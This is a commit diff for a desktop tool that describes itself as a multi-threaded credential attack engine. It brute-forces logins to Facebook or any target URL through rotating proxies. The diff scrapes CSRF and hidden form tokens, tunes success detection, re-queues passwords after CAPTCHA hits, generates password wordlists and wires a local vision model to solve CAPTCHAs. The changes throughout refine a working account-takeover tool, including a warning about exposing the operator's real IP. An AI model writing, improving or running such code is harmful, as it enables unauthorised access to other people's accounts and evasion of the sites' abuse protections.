Fix all 47 bugs — hardened attack engine, UI/UX, proxy, CAPTCHA, config

This commit is contained in:
Dr Jones
2026-05-22 18:21:27 -07:00
parent 1152a937f7
commit bef3de1245
25 changed files with 868 additions and 150 deletions

View File

@@ -50,8 +50,10 @@ class SiteConfig:
success_url_fragments: List[str] = field(default_factory=lambda: [
"home", "feed", "stories", "facebook.com/?", "m.facebook.com/?",
])
# bug #3: extended failure fragments to prevent false-positive successes
failure_url_fragments: List[str] = field(default_factory=lambda: [
"login", "checkpoint", "recover", "two_step",
"privacy", "help", "about", "terms",
])
captcha_indicators: List[str] = field(default_factory=lambda: [
"recaptcha", "hcaptcha", "g-recaptcha", "captcha",
@@ -75,6 +77,7 @@ class SiteConfig:
base_url=base,
extra_fields={},
csrf_field="",
# bug #7: generic sites still scrape hidden inputs (populated dynamically)
token_patterns=[],
success_cookies=[],
success_url_fragments=[],
@@ -126,8 +129,10 @@ class LoginClient:
return session
def _get_form_tokens(self, proxies: Dict) -> Dict[str, str]:
if not self.site.token_patterns and not self.site.csrf_patterns:
return {}
"""
Scrape the login page for CSRF tokens and any hidden <input> fields.
For generic sites (bug #7) we also scan all hidden inputs.
"""
tokens: Dict[str, str] = {}
try:
ua = get_random_mobile_ua()
@@ -139,16 +144,34 @@ class LoginClient:
timeout=self.request_timeout,
)
html = resp.text
# Named token patterns (Facebook-specific)
for field_name, pattern in self.site.token_patterns:
m = re.search(pattern, html)
if m:
tokens[field_name] = m.group(1)
if not tokens and self.site.csrf_field:
for pattern in self.site.csrf_patterns:
m = re.search(pattern, html)
if m:
tokens[self.site.csrf_field] = m.group(1)
break
# bug #7: for generic sites, also scrape ALL hidden input fields
if not self.site.token_patterns:
hidden_inputs = re.findall(
r'<input[^>]+type=["\']hidden["\'][^>]*name=["\']([^"\']+)["\'][^>]*value=["\']([^"\']*)["\']',
html, re.IGNORECASE
)
hidden_inputs += re.findall(
r'<input[^>]+name=["\']([^"\']+)["\'][^>]*type=["\']hidden["\'][^>]*value=["\']([^"\']*)["\']',
html, re.IGNORECASE
)
for name, value in hidden_inputs:
if name not in tokens:
tokens[name] = value
except Exception as e:
logger.debug(f"Form token fetch failed: {e}")
return tokens
@@ -164,6 +187,9 @@ class LoginClient:
ua = get_random_facebook_ua()
session = self._get_session()
# bug #8: clear cookies before each attempt so prior failures don't pollute
session.cookies.clear()
try:
tokens = self._get_form_tokens(proxies)
@@ -230,6 +256,7 @@ class LoginClient:
"CAPTCHA detected", captcha_detected=True,
)
# bug #3: success requires cookies OR explicit success URL fragment
for cookie in self.site.success_cookies:
if cookie in all_cookies:
logger.info(f"SUCCESS via cookie '{cookie}': {password}")
@@ -249,13 +276,7 @@ class LoginClient:
cookies=all_cookies,
redirect_url=resp.url,
)
if "facebook.com" in url and "login" not in url:
return LoginResult(
True, code, round(elapsed, 1),
"Login successful (URL redirect)",
cookies=all_cookies,
redirect_url=resp.url,
)
# bug #3: removed broad "facebook.com" catch-all; only explicit fragments accepted
if any(kw in text for kw in self.site.rate_limit_indicators):
return LoginResult(False, code, round(elapsed, 1), "Rate limited")

View File

@@ -1,9 +1,12 @@
"""
Attack orchestrator — multi-worker concurrent credential attack through rotating proxies.
Uses the generic LoginClient so it works against any site (Facebook, custom URL, etc.).
Optionally calls CaptchaSolver when a CAPTCHA is detected in the response.
CAPTCHA handling: manual-pause mode only (HTTP attack cannot screenshot browser CAPTCHAs).
When a CAPTCHA is detected the password is pushed to a retry queue; after _max_captcha_retries
the password is skipped with a clear log message.
"""
import logging
import queue
import random
import threading
import time
@@ -40,6 +43,7 @@ class AttackStats:
proxy_errors: int = 0
captchas_hit: int = 0
passwords_tried: int = 0
passwords_completed: int = 0 # bug #26: completions not dispatch index
proxies_used: int = 0
start_time: float = 0
elapsed_seconds: float = 0
@@ -53,6 +57,11 @@ class AttackOrchestrator:
"""
Multi-threaded credential attack coordinator.
Spawns N worker threads, each independently pulling passwords and proxies.
CAPTCHA behaviour (honest): HTTP-based attacks cannot solve CAPTCHAs automatically
(no browser / screenshot available). When a CAPTCHA is detected the password is
pushed to _retry_queue so another worker can retry after rotating the proxy.
After _max_captcha_retries attempts the password is permanently skipped.
"""
def __init__(
@@ -72,13 +81,14 @@ class AttackOrchestrator:
self.stats = AttackStats()
self._lock = threading.Lock()
self._threads: List[threading.Thread] = []
self._stop_event = threading.Event() # bug #40: clean thread join
# GUI callbacks (always invoked via self.after() in the tab)
self.on_stats_update: Optional[Callable] = None
self.on_log_entry: Optional[Callable] = None
self.on_success: Optional[Callable] = None
self.on_state_change: Optional[Callable] = None
self.on_captcha: Optional[Callable] = None # (proxy_str) → image_bytes or None
self.on_captcha: Optional[Callable] = None # (proxy_str) → None
# Runtime config
self.username: str = ""
@@ -90,11 +100,13 @@ class AttackOrchestrator:
self.proxy_rotation_every: int = PROXY_ROTATION_EVERY
self.request_timeout: int = REQUEST_TIMEOUT
self._password_index: int = 0
self._workers_active: int = 0
self._success_event = threading.Event()
self._max_captcha_retries = 3
self._captcha_retries: dict = {}
self._password_index: int = 0
self._workers_active: int = 0
self._success_event: threading.Event = threading.Event()
self._max_captcha_retries: int = 3
self._captcha_retries: dict = {}
# bug #5: per-password retry queue replaces _password_index -= 1
self._retry_queue: queue.Queue = queue.Queue()
# ── Public API ───────────────────────────────────────────────────────────
@@ -125,7 +137,14 @@ class AttackOrchestrator:
self._password_index = 0
self._workers_active = self.max_workers
self._success_event.clear()
self._stop_event.clear()
self._captcha_retries.clear()
# Drain any leftover retry items
while not self._retry_queue.empty():
try:
self._retry_queue.get_nowait()
except queue.Empty:
break
if self.on_state_change:
self.on_state_change(self.state)
@@ -155,9 +174,14 @@ class AttackOrchestrator:
self.on_state_change(self.state)
def stop(self):
"""Signal all workers to stop and wait up to 3 s for them to finish."""
self.state = AttackState.STOPPED
self._stop_event.set()
if self.on_state_change:
self.on_state_change(self.state)
# bug #40: join threads with timeout
for t in self._threads:
t.join(timeout=3.0)
# ── Worker loop ──────────────────────────────────────────────────────────
@@ -170,13 +194,17 @@ class AttackOrchestrator:
)
try:
while self.state not in (AttackState.STOPPED, AttackState.COMPLETED):
while (
self.state not in (AttackState.STOPPED, AttackState.COMPLETED)
and not self._stop_event.is_set()
):
if self._success_event.is_set():
break
if self.state == AttackState.PAUSED:
time.sleep(0.1)
continue
# bug #5: check retry queue before pulling next index
password = self._get_next_password()
if password is None:
break
@@ -187,10 +215,10 @@ class AttackOrchestrator:
rotation_counter = 0
if current_proxy is None:
logger.warning(f"[W{worker_id}] No proxies — waiting 2s")
logger.warning(f"[W{worker_id}] No proxies — pushing '{password}' to retry queue, waiting 2s")
# bug #5: push back to retry queue instead of decrement index
self._retry_queue.put_nowait(password)
time.sleep(2)
with self._lock:
self._password_index -= 1
continue
with self._lock:
@@ -209,24 +237,39 @@ class AttackOrchestrator:
self.stats.captchas_hit += 1
retries = self._captcha_retries.get(password, 0) + 1
self._captcha_retries[password] = retries
logger.info(f"[W{worker_id}] CAPTCHA hit (retry {retries})")
if self.on_captcha:
self.on_captcha(current_proxy)
with self._lock:
self._password_index -= 1
current_proxy = None
# bug #9: enforce max retries
if retries >= self._max_captcha_retries:
logger.warning(f"[W{worker_id}] Max CAPTCHA retries for password")
logger.warning(
f"[W{worker_id}] CAPTCHA max retries exceeded — skipping password '{password}'"
)
current_proxy = None
time.sleep(random.uniform(2.0, 5.0))
continue
logger.info(
f"[W{worker_id}] CAPTCHA hit (retry {retries}/{self._max_captcha_retries}) — "
f"password re-queued, proxy rotated. "
f"NOTE: HTTP attacks cannot auto-solve CAPTCHAs."
)
# bug #5: push to retry queue (not decrement global index)
self._retry_queue.put_nowait(password)
current_proxy = None
time.sleep(random.uniform(2.0, 5.0))
continue
# ── Accumulate stats ───────────────────────────────────
with self._lock:
self.stats.total_attempts += 1
self.stats.passwords_tried = self._password_index
self.stats.proxies_used += 1
self.stats.elapsed_seconds = time.time() - self.stats.start_time
self.stats.attempts_per_second = (
self.stats.total_attempts += 1
self.stats.passwords_tried = self._password_index
# bug #26: track actual completions
self.stats.passwords_completed += 1
self.stats.proxies_used += 1
self.stats.elapsed_seconds = time.time() - self.stats.start_time
self.stats.attempts_per_second = (
self.stats.total_attempts / self.stats.elapsed_seconds
if self.stats.elapsed_seconds > 0 else 0
)
@@ -290,6 +333,12 @@ class AttackOrchestrator:
self.on_state_change(self.state)
def _get_next_password(self) -> Optional[str]:
"""Return next password: retry queue first, then sequential index."""
# bug #5: drain retry queue before advancing index
try:
return self._retry_queue.get_nowait()
except queue.Empty:
pass
with self._lock:
if self._password_index >= len(self.passwords):
return None
@@ -298,7 +347,7 @@ class AttackOrchestrator:
return pwd
def _release_proxy_after_attempt(self, proxy: Optional[str], result: LoginResult) -> bool:
"""Recycle healthy one-shot proxies and drop clearly failing proxies."""
"""Recycle healthy one-shot proxies; mark clearly failing proxies dead."""
if not proxy:
return False
@@ -311,7 +360,9 @@ class AttackOrchestrator:
self.proxy_pool.mark_dead(proxy)
return True
# bug #2: rate-limited proxy is still valid — return it to pool
if "rate limit" in message:
self.proxy_pool.return_proxy(proxy)
return True
if self.proxy_rotation_every <= 1:

View File

@@ -2,6 +2,9 @@
Browser automation controller for CAPTCHA solving workflows.
Supports Playwright and Selenium when installed; otherwise operates in manual mode.
Pipeline module — currently invoked manually from Setup tab test only.
Will be wired into attack flow in future release. (bug #14)
"""
import logging
from dataclasses import dataclass
@@ -58,7 +61,18 @@ class BrowserController:
try:
self._playwright = sync_playwright().start()
self._browser = self._playwright.chromium.launch(headless=self.config.headless)
try:
self._browser = self._playwright.chromium.launch(headless=self.config.headless)
except Exception as browser_err:
err_str = str(browser_err)
if "executable" in err_str.lower() or "browser" in err_str.lower():
logger.error(
"Playwright browser not installed. Run: playwright install chromium"
)
else:
logger.error(f"Failed to launch Playwright chromium: {browser_err}")
self.close()
return False
context = self._browser.new_context(
viewport={
"width": self.config.viewport[0],

View File

@@ -245,12 +245,15 @@ class CaptchaSolver:
deepseek-ocr (and other pure OCR models) work best with a single short
instruction — long verbose prompts cause them to return empty output.
General vision models (llava, minicpm-v, etc.) benefit from more detail.
bug #33: _model_family() is now called to pick OCR vs vision prompt.
"""
# bug #33: wire _model_family to detect OCR models
family = self._model_family()
model_lower = (self.model or "").lower()
# Pure OCR models — keep it minimal
if any(x in model_lower for x in ("deepseek-ocr", "ocr", "tesseract")):
if (family in ("deepseekocr", "ocr", "tesseract")
or any(x in model_lower for x in ("deepseek-ocr", "ocr", "tesseract"))):
return "Read the text in this image."
# General vision / chat models — can handle richer instructions
return (
"You are a CAPTCHA solver. Look at the image.\n"
"If it shows distorted text/numbers, reply with ONLY those characters (e.g. XK9P2).\n"
@@ -286,7 +289,8 @@ class CaptchaSolver:
digit_count = len(re.findall(r"\d", filler_removed))
# Tile mode: after removing filler words, mostly digits remain
if digit_count >= 2 and letter_count == 0:
# bug #34: changed >= 2 to >= 1 so single-digit tile answers are accepted
if digit_count >= 1 and letter_count == 0:
nums = re.findall(r"\d+", first_line)
return ",".join(nums)

View File

@@ -2,6 +2,9 @@
Coordinate mapping system — converts image-based positions from vision model
analysis into actual browser/screen click coordinates.
Pipeline module — currently invoked manually from Setup tab test only.
Will be wired into attack flow in future release. (bug #14)
Handles:
- Grid-based CAPTCHAs (reCAPTCHA 3x3, 4x4)
- Absolute coordinate mapping

View File

@@ -1,6 +1,9 @@
"""
Ollama vision inference client — sends images to local Ollama models
and parses structured responses for CAPTCHA solving.
Pipeline module — currently invoked manually from Setup tab test only.
Will be wired into attack flow in future release. (bug #14)
"""
import base64
import json
@@ -154,15 +157,40 @@ class OllamaVisionClient:
logger.error(analysis.error, exc_info=True)
return analysis
@staticmethod
def _extract_json_object(text: str) -> Optional[str]:
"""
Extract the first balanced JSON object from text.
Handles nested braces correctly (bug #25: replaces shallow regex).
Also handles fenced code blocks like ```json ... ```.
"""
# Strip fenced code blocks first
fenced = re.search(r"```(?:json)?\s*(\{[\s\S]*?\})\s*```", text, re.DOTALL)
if fenced:
return fenced.group(1)
# Walk character by character to find balanced braces
depth = 0
start = -1
for i, ch in enumerate(text):
if ch == "{":
if depth == 0:
start = i
depth += 1
elif ch == "}":
depth -= 1
if depth == 0 and start != -1:
return text[start: i + 1]
return None
def _parse_response(self, analysis: CaptchaAnalysis) -> None:
"""Parse the model's response into structured fields."""
response = analysis.raw_response
# Try to extract JSON block
json_match = re.search(r"\{[^{}]*\}", response, re.DOTALL)
if json_match:
# bug #25: use balanced-brace extractor instead of shallow regex
json_str = self._extract_json_object(response)
if json_str:
try:
parsed = json.loads(json_match.group())
parsed = json.loads(json_str)
analysis.description = parsed.get("description", "")
analysis.instruction = parsed.get("instruction", "")
analysis.target_elements = parsed.get("target_elements", [])

View File

@@ -1,6 +1,9 @@
"""
Screen capture and image preprocessing for CAPTCHA solving.
Captures browser viewports, crops elements, and prepares images for vision analysis.
Pipeline module — currently invoked manually from Setup tab test only.
Will be wired into attack flow in future release. (bug #14)
"""
import io
import logging

View File

@@ -81,23 +81,36 @@ def apply_capitalization_variants(passwords: List[str]) -> List[str]:
return list(variants)
def generate_number_suffixes(start: int = 0, end: int = 9999) -> List[str]:
"""Generate number suffixes in common patterns."""
def generate_number_suffixes(
start: int = 0, end: int = 9999, max_count: int = 5000
) -> List[str]:
"""
Generate number suffixes in common patterns.
Args:
start: range start (inclusive).
end: range end (inclusive).
max_count: hard cap on output size to prevent combinatorial explosion. (bug #17)
Default 5000; caller may raise/lower as needed.
"""
if start > end:
start, end = end, start
numbers = set()
numbers: set = set()
for n in range(start, end + 1):
numbers.add(str(n))
# Common patterns
if n < 100:
numbers.add(f"{n:02d}")
if n < 1000:
numbers.add(f"{n:03d}")
# Add common special numbers
# Common special numbers
special = ["123", "007", "69", "420", "666", "777", "000", "111", "222",
"333", "444", "555", "888", "999", "1234", "4321", "0000"]
numbers.update(special)
return list(numbers)
result = list(numbers)
# bug #17: cap output at max_count
if len(result) > max_count:
result = result[:max_count]
return result
def generate_common_symbols() -> List[str]:

View File

@@ -222,7 +222,14 @@ class PasswordGenerator:
if config.custom_pattern:
patterns = [config.custom_pattern]
else:
patterns = config.patterns
patterns = list(config.patterns)
# bug #6: when symbols_between is enabled, ensure {word}{sym}{num} and
# {num}{sym}{word} patterns are active so symbols actually appear between tokens.
if config.symbols_between and symbols:
for between_pat in ("{word}{sym}{num}", "{num}{sym}{word}"):
if between_pat not in patterns:
patterns.append(between_pat)
# Nothing to combine with — bare words only
if not numbers and not symbols:
@@ -285,7 +292,10 @@ class PasswordGenerator:
return list(passwords)
def estimate(self, config: GenerationConfig) -> int:
"""Estimate how many passwords will be generated."""
"""
Estimate (upper bound) how many passwords will be generated. (bug #16)
The real count will be lower after deduplication and length filtering.
"""
words = self._build_word_list(config)
if not words:
return 0

View File

@@ -35,6 +35,13 @@ class GODCWAKApp(ctk.CTk):
self._attack_state = "IDLE"
self._workflow_badges = {}
# bug #24: shared CaptchaSolver instance — created once, passed to tabs
try:
from src.captcha.captcha_solver import CaptchaSolver
self.captcha_solver = CaptchaSolver()
except Exception:
self.captcha_solver = None
# Window
self.title(f"{APP_NAME} v{APP_VERSION}")
self.geometry("1300x820")

View File

@@ -45,7 +45,7 @@ class AttackTab(ctk.CTkFrame):
def _build_ui(self):
CyberpunkTheme.create_tab_header(
self, "03", "[ ATTACK TERMINAL ]",
self, "04", "[ ATTACK TERMINAL ]",
"Multi-threaded login attempts with proxy rotation against any target URL",
)
CyberpunkTheme.create_hint_bar(
@@ -109,9 +109,13 @@ class AttackTab(ctk.CTkFrame):
"✓ TARGET SET", "✗ NEED EMAIL")
_set(self.ready_wordlist, wl > 0,
f"✓ WORDLIST ({wl:,})", "✗ NO WORDLIST")
# bug #42: proxies chip says NEED PROXIES (red) not "optional"
_set(self.ready_proxies, px > 0,
f"✓ PROXIES ({px})", " NO PROXIES (optional)")
f"✓ PROXIES ({px})", " NEED PROXIES")
# bug #15/#42: direct mode bypasses proxy requirement for readiness
direct = getattr(self, "direct_mode_var", None)
proxies_ok = (px > 0) or (direct is not None and direct.get())
all_core = target_ok and wl > 0
self.ready_overall.configure(
text="✓ READY TO START" if all_core else "✗ NOT READY",
@@ -331,6 +335,16 @@ class AttackTab(ctk.CTkFrame):
width=160, height=40, font=("Consolas", 14, "bold"))
self.start_btn.pack(side="left", padx=(0, 12))
# bug #15: Direct Mode checkbox — when checked, bypasses proxy requirement warning
self.direct_mode_var = ctk.BooleanVar(value=False)
ctk.CTkCheckBox(
inner, text="Direct Mode\n(no proxies)",
variable=self.direct_mode_var,
font=("Consolas", 9),
checkbox_width=18, checkbox_height=18,
command=self._update_readiness,
).pack(side="left", padx=(0, 16))
self.pause_btn = CyberpunkTheme.create_neon_button(
inner, text="⏸ PAUSE", command=self._on_pause,
color=CyberpunkTheme.WARNING,
@@ -416,8 +430,19 @@ class AttackTab(ctk.CTkFrame):
self._log("ERROR: Wordlist is empty — generate passwords in the Password Builder tab")
return
if self.proxy_pool.available_count == 0:
self._log("WARNING: No proxies committed — attack will run without proxies")
# bug #15: show confirmation dialog when no proxies and Direct Mode not explicitly chosen
if self.proxy_pool.available_count == 0 and not self.direct_mode_var.get():
from tkinter import messagebox
proceed = messagebox.askyesno(
"No Proxies — Direct Mode?",
"No proxies are loaded.\n\n"
"Running without proxies will expose your real IP address.\n\n"
"Tick 'Direct Mode' checkbox to suppress this warning.\n\n"
"Continue anyway?",
)
if not proceed:
return
self._log("WARNING: Running in Direct IP mode — no proxies")
self._apply_speed_settings()
site_cfg = self._build_site_config()
@@ -477,11 +502,12 @@ class AttackTab(ctk.CTkFrame):
progress = self.orchestrator.progress / 100
self.progress_bar.set(progress)
total_pw = len(self.orchestrator.passwords)
# bug #26: show passwords_completed (actual completions) not dispatch index
self.progress_text.configure(
text=f"{self.orchestrator.progress:.1f}% ({stats.passwords_tried:,} / {total_pw:,})")
text=f"{self.orchestrator.progress:.1f}% ({stats.passwords_completed:,} / {total_pw:,})")
self.pwd_count_label.configure(
text=f"Wordlist: {stats.passwords_tried:,}/{total_pw:,}")
text=f"Wordlist: {stats.passwords_completed:,}/{total_pw:,}")
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
self.captcha_label.configure(
text=f"CAPTCHAs: {stats.captchas_hit}",
@@ -497,7 +523,8 @@ class AttackTab(ctk.CTkFrame):
def _on_log_entry(self, entry: dict):
ts = datetime.now().strftime("%H:%M:%S")
icon = "[+]" if entry["result"] == "SUCCESS" else "[-]"
self._log(f"[{ts}] {icon} {entry['proxy'][:28]} >> {entry['password'][:28]} >> {entry['message']}")
# bug #47: increased truncation from 28 to 50 chars
self._log(f"[{ts}] {icon} {entry['proxy'][:50]} >> {entry['password'][:50]} >> {entry['message']}")
def _on_success(self, password: str, proxy: str, result):
banner = (

View File

@@ -25,7 +25,7 @@ class LogsTab(ctk.CTkFrame):
def _build_ui(self):
"""Build the logs tab UI."""
CyberpunkTheme.create_tab_header(
self, "04", "[ ATTEMPT LOGS ]",
self, "05", "[ ATTEMPT LOGS ]",
"Persistent history of every login attempt — loaded from data/attempt_log.csv",
)
CyberpunkTheme.create_hint_bar(
@@ -209,7 +209,8 @@ class LogsTab(ctk.CTkFrame):
messagebox.showinfo("Export", "No log entries to export.")
return
with open(filename, "w", newline="") as f:
# bug #29: utf-8-sig adds BOM so Excel on Windows opens without garbling
with open(filename, "w", newline="", encoding="utf-8-sig") as f:
if entries:
writer = csv.DictWriter(f, fieldnames=entries[0].keys())
writer.writeheader()

View File

@@ -307,7 +307,12 @@ class PasswordBuilderTab(ctk.CTkFrame):
self.min_len_label.pack(side="left")
def update_min(val):
self.min_len_label.configure(text=str(int(val)))
v = int(val)
# bug #44: clamp max >= min
if v > self.max_len_var.get():
self.max_len_var.set(v)
self.max_len_label.configure(text=str(v))
self.min_len_label.configure(text=str(v))
min_len_slider.configure(command=update_min)
row_l2 = ctk.CTkFrame(len_frame, fg_color="transparent")
@@ -337,7 +342,12 @@ class PasswordBuilderTab(ctk.CTkFrame):
self.max_len_label.pack(side="left")
def update_max(val):
self.max_len_label.configure(text=str(int(val)))
v = int(val)
# bug #44: clamp min <= max
if v < self.min_len_var.get():
self.min_len_var.set(v)
self.min_len_label.configure(text=str(v))
self.max_len_label.configure(text=str(v))
max_len_slider.configure(command=update_max)
# === SECTION 9: Character Requirements ===
@@ -408,9 +418,9 @@ class PasswordBuilderTab(ctk.CTkFrame):
)
self.stats_label.pack(side="left", padx=(20, 0))
# Live estimate
# Live estimate (bug #16: labelled as upper bound)
self.estimate_label = ctk.CTkLabel(
inner_bottom, text="Est: —",
inner_bottom, text="Est. (upper bound): —",
font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_DIM,
)
@@ -425,6 +435,16 @@ class PasswordBuilderTab(ctk.CTkFrame):
)
self.generate_btn.pack(side="right")
# bug #46: cancel button (hidden until generation starts)
self._cancel_generation = False
self.cancel_btn = CyberpunkTheme.create_neon_button(
inner_bottom, text="✕ CANCEL",
command=self._on_cancel_generate,
color=CyberpunkTheme.ERROR,
width=110, height=36,
)
# Will be shown via pack() when generation starts; hidden by default
self.clear_file_btn = CyberpunkTheme.create_neon_button(
inner_bottom, text="CLEAR FILE",
command=self._on_clear_wordlist,
@@ -564,9 +584,15 @@ class PasswordBuilderTab(ctk.CTkFrame):
self.gen_progress.pack_forget()
self.gen_progress.set(0)
def _on_cancel_generate(self):
"""Signal the generation worker to stop gracefully. (bug #46)"""
self._cancel_generation = True
def _on_generate(self):
"""Handle generate button click — runs generation in background thread."""
self._cancel_generation = False
self.generate_btn.configure(state="disabled", text=" GENERATING... ")
self.cancel_btn.pack(side="right", padx=(0, 8)) # bug #46: show cancel button
self._start_gen_progress()
if self.status_callback:
self.status_callback("Generating wordlist…")
@@ -579,22 +605,34 @@ class PasswordBuilderTab(ctk.CTkFrame):
"""Background worker for password generation."""
try:
passwords = self.generator.generate(config)
# bug #46: respect cancel flag — report partial count
if self._cancel_generation:
self.generated_count = len(passwords)
self.after(0, lambda c=len(passwords): self._on_generation_cancelled(c))
return
self.generated_count = len(passwords)
# Save to file (append)
if passwords:
save_passwords(passwords)
save_passwords(passwords, dedupe=True)
# Update UI from main thread
self.after(0, self._on_generation_complete)
except Exception as e:
logger.error(f"Generation error: {e}")
self.after(0, lambda: self._on_generation_error(str(e)))
def _on_generation_cancelled(self, count: int):
"""Handle graceful cancel. (bug #46)"""
self._stop_gen_progress()
self.cancel_btn.pack_forget()
self.generate_btn.configure(state="normal", text=">> GENERATE <<")
if self.status_callback:
self.status_callback(f"Generation cancelled — {count:,} passwords generated so far")
def _on_generation_complete(self):
"""Update UI after generation completes."""
self._stop_gen_progress()
self.cancel_btn.pack_forget() # bug #46: hide cancel button
self.generate_btn.configure(state="normal", text=">> GENERATE <<")
file_count = count_lines(PASSWORDS_FILE)
self.stats_label.configure(
@@ -608,6 +646,7 @@ class PasswordBuilderTab(ctk.CTkFrame):
def _on_generation_error(self, error_msg: str):
"""Handle generation error."""
self._stop_gen_progress()
self.cancel_btn.pack_forget()
self.generate_btn.configure(state="normal", text=">> GENERATE <<")
self.stats_label.configure(
text=f"Error: {error_msg}",
@@ -626,8 +665,9 @@ class PasswordBuilderTab(ctk.CTkFrame):
try:
cfg = self._get_config()
est = self.generator.estimate(cfg)
# bug #16: clearly labelled as upper bound
self.estimate_label.configure(
text=f"Est: {est:,}",
text=f"Est. (upper bound): {est:,}",
text_color=CyberpunkTheme.PRIMARY if est > 0 else CyberpunkTheme.TEXT_DIM,
)
except Exception:

View File

@@ -30,6 +30,7 @@ _DOT_UNTESTED = CyberpunkTheme.ERROR
_DOT_TESTING = CyberpunkTheme.WARNING
_DOT_VALID = CyberpunkTheme.SUCCESS
_DOT_FAILED = "#aa2233"
_DOT_SAVED = CyberpunkTheme.WARNING # bug #45: orange for disk-loaded but unverified
class _ProxyRow:
@@ -264,6 +265,8 @@ class ProxyManagerTab(ctk.CTkFrame):
"testing": (_DOT_TESTING, CyberpunkTheme.WARNING, "testing…"),
"valid": (_DOT_VALID, CyberpunkTheme.SUCCESS, f"{speed_ms:.0f} ms"),
"failed": (_DOT_FAILED, CyberpunkTheme.ERROR, msg or "failed"),
# bug #45: orange "SAVED" state for disk-loaded proxies not yet re-tested
"saved": (_DOT_SAVED, CyberpunkTheme.WARNING, "SAVED"),
}
dot_c, stat_c, stat_txt = colors.get(state, colors["untested"])
try:
@@ -303,6 +306,11 @@ class ProxyManagerTab(ctk.CTkFrame):
# ── Sequential TEST ALL ───────────────────────────────────────────────────
def _on_test_all(self):
"""
Test all proxies concurrently in batches of 10.
bug #43: reduces 500 proxies × 10s from ~80 min to ~8 min.
Uses a threading semaphore to cap at 10 concurrent tests.
"""
if self._seq_testing:
return
proxies_to_test = list(self._rows.keys())
@@ -313,28 +321,25 @@ class ProxyManagerTab(ctk.CTkFrame):
self._seq_testing = True
self._seq_stop_flag = False
total = len(proxies_to_test)
self._completed_count = 0
self.test_all_btn.configure(state="disabled", text="⏳ TESTING…")
self.stop_test_btn.configure(state="normal")
self.test_progress.pack(side="right", padx=(0, 4))
self.test_progress.set(0)
def sequential_worker():
for idx, ps in enumerate(proxies_to_test):
if self._seq_stop_flag:
break
# Mark yellow in UI
self.after(0, lambda p=ps: self._set_row_state(p, "testing"))
semaphore = threading.Semaphore(10) # max 10 concurrent tests
# Run the actual test
loop = asyncio.new_event_loop()
def test_one(ps: str):
if self._seq_stop_flag:
return
semaphore.acquire()
try:
self.after(0, lambda p=ps: self._set_row_state(p, "testing"))
loop = asyncio.new_event_loop()
result = loop.run_until_complete(self.validator.test_single_proxy(ps))
loop.close()
if self._seq_stop_flag:
break
# Update row in UI
if result.is_valid:
self.after(0, lambda p=ps, ms=result.response_time_ms:
self._set_row_state(p, "valid", ms))
@@ -342,13 +347,27 @@ class ProxyManagerTab(ctk.CTkFrame):
self.after(0, lambda p=ps, err=result.error or "":
self._set_row_state(p, "failed", msg=err))
# Update progress
progress = (idx + 1) / total
with self._single_lock:
self._completed_count += 1
done_n = self._completed_count
progress = done_n / total
self.after(0, lambda v=progress: self.test_progress.set(v))
self.after(0, lambda i=idx+1, t=total:
self.after(0, lambda i=done_n, t=total:
self._notify(f"Testing {i}/{t} proxies…"))
finally:
semaphore.release()
def batch_worker():
threads = []
for ps in proxies_to_test:
if self._seq_stop_flag:
break
t = threading.Thread(target=test_one, args=(ps,), daemon=True)
t.start()
threads.append(t)
for t in threads:
t.join()
# Done
def done():
self._seq_testing = False
self.test_all_btn.configure(state="normal", text="⚡ TEST ALL")
@@ -360,7 +379,7 @@ class ProxyManagerTab(ctk.CTkFrame):
self.after(0, done)
threading.Thread(target=sequential_worker, daemon=True).start()
threading.Thread(target=batch_worker, daemon=True).start()
def _on_stop_test(self):
self._seq_stop_flag = True
@@ -451,16 +470,21 @@ class ProxyManagerTab(ctk.CTkFrame):
self._notify(f"Added {added} proxies")
def _load_saved_proxies(self):
"""
Load saved proxies from disk.
bug #45: mark them as "saved" (orange) — not green — since they haven't been
re-tested yet. Green only after TEST confirms they are live.
"""
from src.utils.file_io import load_valid_proxies
for ps in load_valid_proxies():
row = self._add_proxy_row(ps)
if row:
row.state = "valid"
row.state = "saved"
if row.dot:
row.dot.configure(text_color=_DOT_VALID)
row.dot.configure(text_color=_DOT_SAVED)
if row.status_lbl:
row.status_lbl.configure(text="saved valid",
text_color=CyberpunkTheme.SUCCESS)
row.status_lbl.configure(text="SAVED",
text_color=CyberpunkTheme.WARNING)
# ── Stats ─────────────────────────────────────────────────────────────────

View File

@@ -67,15 +67,30 @@ class OllamaManager:
return [m["name"] for m in self.list_models()]
def pull_model(self, model_name: str) -> bool:
"""Pull a model from Ollama registry."""
"""
Pull a model from Ollama registry.
Iterates the streaming response and returns True only when
the final JSON line contains "status":"success". (bug #13)
"""
try:
resp = requests.post(
f"{self.host}/api/pull",
json={"name": model_name},
timeout=300, # Long timeout for downloads
timeout=300,
stream=True,
)
return resp.status_code == 200
if resp.status_code != 200:
return False
for raw_line in resp.iter_lines():
if not raw_line:
continue
try:
data = json.loads(raw_line.decode("utf-8") if isinstance(raw_line, bytes) else raw_line)
if data.get("status") == "success":
return True
except (json.JSONDecodeError, UnicodeDecodeError):
continue
return False
except requests.RequestException as e:
logger.error(f"Failed to pull model {model_name}: {e}")
return False
@@ -169,7 +184,7 @@ class SetupTab(ctk.CTkFrame):
def _build_ui(self):
"""Build the setup tab UI."""
CyberpunkTheme.create_tab_header(
self, "05", "[ SETUP & AI ]",
self, "03", "[ SETUP & AI ]",
"Ollama vision models for local CAPTCHA OCR — configure before attacks hit CAPTCHAs",
)
CyberpunkTheme.create_hint_bar(
@@ -692,10 +707,16 @@ class SetupTab(ctk.CTkFrame):
model = self.model_var.get()
if model == "No models found":
model = ""
config = {
# bug #23: always save ALL keys from DEFAULT_OLLAMA_CONFIG,
# merging with current form values so no key is ever dropped.
config = {**DEFAULT_OLLAMA_CONFIG}
config.update({
"ollama_host": self.host_entry.get().strip() or OLLAMA_DEFAULT_HOST,
"model": model,
"temperature": self.temp_var.get(),
"top_p": config.get("top_p", 0.9), # kept from defaults; no UI widget
"timeout": config.get("timeout", 60),
"max_tokens": int(self.max_tokens_entry.get() or "512"),
"prompt_template": self.prompt_text.get("1.0", "end").strip(),
"browser_engine": self.browser_engine_var.get(),
@@ -703,17 +724,22 @@ class SetupTab(ctk.CTkFrame):
"viewport": self.viewport_entry.get().strip(),
"mouse_delay_ms": int(self.mouse_delay_entry.get() or "50"),
"retry_limit": int(self.retry_entry.get() or "3"),
}
})
try:
with open(OLLAMA_CONFIG_FILE, "w", encoding="utf-8") as f:
json.dump(config, f, indent=2)
